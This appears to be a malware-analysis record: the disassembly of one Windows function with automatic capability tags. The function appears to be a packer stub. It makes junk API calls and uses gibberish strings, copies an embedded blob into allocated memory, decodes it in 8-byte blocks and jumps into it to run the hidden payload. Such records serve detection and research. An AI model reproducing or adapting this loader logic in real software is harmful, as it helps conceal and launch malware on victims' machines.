Function at 0x401249
Capabilities:
Delete directory
Get disk information
Move file

Disassembly:
mov eax, 0x49d211
call fcn.0049c264
sub esp, 0xc24
cmp dword [0x2b7ab04], 0x93
push ebx
push esi
push edi
jne 0x4012b1
push str.futurapoguzivuzinehi_fahohejut
push str.ceyawucujibuyazakasuxo_fawaf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
xor esi, esi
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], ax
push esi
mov dword [ebp - 4], esi
call fcn.0040152f
push esi
push esi
call fcn.00401697
push esi
push esi
call fcn.00401734
push esi
push esi
call fcn.00401697
add esp, 0x1c
push esi
call fcn.00401a7a
add dword [0x2b7ab04], 0x1134b
push dword [0x2b7ab04]
mov eax, dword [0x4a49a0]
xor esi, esi
push esi
mov dword [0x2b7b568], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2b7a4b8], eax
call fcn.00401194
xor edi, edi
cmp dword [0x2b7ab04], esi
jbe 0x401328
mov eax, dword [0x2b7b568]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2b7a4b8]
mov byte [ecx + edi], al
cmp dword [0x2b7ab04], 0x490
jne 0x40131f
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
inc edi
cmp edi, dword [0x2b7ab04]
jb 0x4012e8
xor edi, edi
mov eax, dword [0x2b7ab04]
add eax, edi
cmp eax, 0x8d
jne 0x401367
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
inc edi
cmp edi, 0x38681
jl 0x40132a
mov eax, dword [0x2b7ab04]
mov ecx, dword [0x2b7a4b8]
shr eax, 3
cmp eax, esi
jbe 0x4013b3
mov edi, dword [sym.imp.KERNEL32.dll_FreeConsole]
mov ebx, ecx
mov dword [ebp - 0x10], eax
cmp dword [0x2b7ab04], 0x959
jne 0x4013a5
call edi
call edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push ebx
call fcn.00401007
add ebx, 8
dec dword [ebp - 0x10]
jne 0x40138d
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4013d3
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x2b7a4b8], eax
inc edi
cmp edi, 0x674db
jl 0x4013b5
push 0x7b
pop ebx
cmp dword [0x2b7ab04], 0x86
jne 0x40143d
push esi
lea eax, [ebp - 0xc30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push str.webose
push str.liparamudusoxuxonuselotibojuma
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
lea eax, [ebp - 0x430]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
xor eax, eax
mov word [ebp - 0x10], ax
lea edi, [ebp - 0xe]
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_GetAce]
dec ebx
jne 0x4013df
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2b7a4b8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret